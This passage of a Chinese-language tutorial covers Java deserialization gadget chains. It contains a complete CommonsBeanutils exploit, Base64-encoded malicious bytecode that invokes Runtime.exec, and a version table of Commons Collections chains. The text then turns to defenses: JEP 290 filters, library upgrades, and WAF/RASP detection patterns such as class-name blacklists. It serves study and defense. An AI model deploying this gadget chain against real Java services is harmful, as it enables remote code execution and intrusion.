JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAMAAQADQANAA4ACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAASAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAAVAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

TemplatesImpl Impl = new TemplatesImpl();
setFieldValue(Impl, "_name", "evil");
setFieldValue(Impl, "_class", null);
setFieldValue(Impl, "_bytecodes", new byte[][]{bytes});
setFieldValue(Impl, "_tfactory", new TransformerFactoryImpl());

BeanComparator bean = new BeanComparator();
PriorityQueue queue = new PriorityQueue<Object>(2, bean);
queue.add(1);
queue.add(2);
// add 完毕后再修改 property 和 queue 数组
setFieldValue(bean, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{Impl, Impl});

serialize(queue);
deserialize();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}

注意事项:

  • property 赋值为 "outputProperties" 而非 "_outputProperties"——PropertyUtils.getProperty 查找的是 getter 方法名。
  • setFieldValue(queue, "queue", new Object[]{Impl, Impl}) 必须执行:CC4 的链不需要关心 queue 数组内容(因为 ChainedTransformer.transform 不依赖传入参数),但 CB 链中 BeanComparator.compare 对两个参数都调用了 getProperty,queue 中存放的必须是 TemplatesImpl 实例。
  • 为什么 add(1)add(2) 后再替换 queue 内容:因为 add(1) / add(2) 时 comparator 的 property 还没设为 "outputProperties",compare 不会触发字节码加载;替换 queue 后只影响反序列化阶段。
  • 需要同时引入 commons-beanutilscommons-collections(后者提供 ComparableComparator 等底层能力)。

版本对照速查表

CC 版本 JDK 限制 入口类 Sink 类型 备注
CC1-TM 3.x <= 8u71 AnnotationInvocationHandler Runtime.exec 8u71 重写 readObject 导致失效
CC1-LM 3.x <= 8u71 AnnotationInvocationHandler Runtime.exec 动态代理 + LazyMap
CC2 4.x 无限制 PriorityQueue TemplatesImpl 直接 InvokerTransformer(“newTransformer”)
CC3 3.x <= 8u71 AnnotationInvocationHandler TemplatesImpl TrAXFilter+InstantiateTransformer,字节码加载
CC4 4.x 无限制 PriorityQueue TemplatesImpl CC2 入口 + CC3 负载
CC5 3.x 无限制 BadAttributeValueExpException Runtime.exec 8u71+ 绕过
CC6 3.x 无限制 HashMap/HashSet Runtime.exec 最便携,无 JDK 版本限制
CC7 3.x 无限制 Hashtable Runtime.exec hash 碰撞,最复杂
CB 3.x + BeanUtils 无限制 PriorityQueue TemplatesImpl 无需 InvokerTransformer

CC 3.x vs 4.x 关键差异总结:

  • CC 3.x:InvokerTransformer 等所有 transform 类均可序列化;LazyMapfactory 属性为 Transformer 类型;TransformedMap 可用。
  • CC 4.x:InvokerTransformer 不再实现 Serializable(安全加固);LazyMap 不再使用 Transformer(改用 Factory 接口);因此 CC2/CC4 必须使用 TemplatesImpl sink 且不依赖 CC1 的 ChainedTransformer(InvokerTransformer) 链。

防御与检测

开发侧防御

  1. JEP 290(Java 反序列化过滤器): JDK 9 引入,JDK 8u121 部分移植。通过 ObjectInputFilter 设置白名单类,禁止反序列化未知类。

    1
    2
    3
    4
    ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "java.lang.*;java.util.*;!*"
    );
    ObjectInputFilter.Config.setSerialFilter(filter);
  2. SerialKiller / NotSoSerial: 基于 JEP 290 或 ASM 的类检查库。SerialKiller 在 resolveClass 前拦截,NotSoSerial 通过 ASM 在类加载前扫描调用链特征。

  3. 升级 Commons Collections: 使用 3.2.2+(安全版本,InvokerTransformer 不再可序列化)或 4.1+。

  4. 避免不必要的序列化接口: 审查业务代码中实现 Serializable 的类,评估是否存在被反序列化攻击的入口。

WAF / RASP 检测

  1. 类名黑名单: 监控流中的类名如 InvokerTransformerChainedTransformerTemplatesImplTrAXFilterLazyMapTransformedMapAnnotationInvocationHandlerBadAttributeValueExpException
  2. 行为特征检测: Runtime.exec("calc")defineClassProcessBuilder.start() 等调用栈异常组合。
  3. 字节码特征: byte[][] 中嵌入 Base64 编码后 yv66vgAA(class 文件魔数 CAFEBABE)。
  4. 反序列化流量监控: Java 序列化流的魔数为 AC ED 00 05
  5. RASP(运行时防护):ObjectInputStream.resolveClass 处插入校验钩子,实时拦截不受信任的类加载请求。

实际部署建议

  • 最有效防御: 全面禁止来自不可信源的 Java 原生序列化流输入。如无法避免,强制启用 ObjectInputFilter 白名单,只反序列化必需的 DTO 类。
  • 纵深防御: 即使应用了 JEP 290 filter,也应配合 WAF(类名/魔数过滤)+ RASP(运行时 hook)形成多层防线。

参考

  1. ysoserial - GitHub
  2. Commons Collections 3.2.2 API
  3. Commons Collections 4.4 API
  4. Java Object Serialization Specification
  5. JEP 290: Filter Incoming Serialization Data
  6. FoxGlove Security - Commons Collections RCE Analysis
  7. Commons BeanUtils API